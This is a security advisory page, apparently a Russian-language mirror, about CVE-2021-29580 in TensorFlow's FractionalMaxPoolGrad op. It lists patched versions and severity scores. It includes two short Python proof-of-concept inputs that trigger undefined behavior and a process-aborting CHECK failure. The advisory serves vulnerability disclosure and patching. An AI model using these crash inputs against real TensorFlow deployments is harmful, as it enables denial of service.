exploitDog

GHSA-x8h6-xgqx-jqgp

Опубликовано: 21 мая 2021

Источник: github

Github: Прошло ревью

CVSS4: 2

CVSS3: 2.5

Описание

Undefined behavior and CHECK-fail in FractionalMaxPoolGrad

Impact

The implementation of tf.raw_ops.FractionalMaxPoolGrad triggers an undefined behavior if one of the input tensors is empty:

import tensorflow as tf orig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64) orig_output = tf.constant([], dtype=tf.int64) out_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64) row_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64) col_pooling_sequence = tf.constant([0], shape=[1], dtype=tf.int64) tf.raw_ops.FractionalMaxPoolGrad( orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=False)

The code is also vulnerable to a denial of service attack as a CHECK condition becomes false and aborts the process

import tensorflow as tf orig_input = tf.constant([1], shape=[1], dtype=tf.int64) orig_output = tf.constant([1], shape=[1], dtype=tf.int64) out_backprop = tf.constant([1, 1], shape=[2, 1, 1, 1], dtype=tf.int64) row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64) col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64) tf.raw_ops.FractionalMaxPoolGrad( orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=False)

The implementation fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues.

Patches

We have patched the issue in GitHub commit 32fdcbff9d06d010d908fcc4bd4b36eb3ce15925.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Ссылки

Пакеты

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

< 2.1.4

2.1.4

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

>= 2.2.0, < 2.2.3

2.2.3

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

>= 2.3.0, < 2.3.3

2.3.3

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.2

2.4.2

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

< 2.1.4

2.1.4

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

>= 2.2.0, < 2.2.3

2.2.3

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

>= 2.3.0, < 2.3.3

2.3.3

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.2

2.4.2

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

< 2.1.4

2.1.4

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

>= 2.2.0, < 2.2.3

2.2.3

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

>= 2.3.0, < 2.3.3

2.3.3

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

>= 2.4.0, < 2.4.2

2.4.2

EPSS

Процентиль: 2%

0.00015

Низкий

2 Low

CVSS4

2.5 Low

CVSS3

CVE ID

Дефекты

CWE-908

Связанные уязвимости

CVE-2021-29580

CVSS3: 2.5

nvd

больше 4 лет назад

TensorFlow is an end-to-end open source platform for machine learning. The implementation of `tf.raw_ops.FractionalMaxPoolGrad` triggers an undefined behavior if one of the input tensors is empty. The code is also vulnerable to a denial of service attack as a `CHECK` condition becomes false and aborts the process. The implementation(https://github.com/tensorflow/tensorflow/blob/169054888d50ce488dfde9ca55d91d6325efbd5b/tensorflow/core/kernels/fractional_max_pool_op.cc#L215) fails to validate that input and output tensors are not empty and are of the same rank. Each of these unchecked assumptions is responsible for the above issues. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

CVE-2021-29580

CVSS3: 2.5

debian

больше 4 лет назад

TensorFlow is an end-to-end open source platform for machine learning. ...

EPSS

Процентиль: 2%

0.00015

Низкий

2 Low

CVSS4

2.5 Low

CVSS3

CVE ID

Дефекты

CWE-908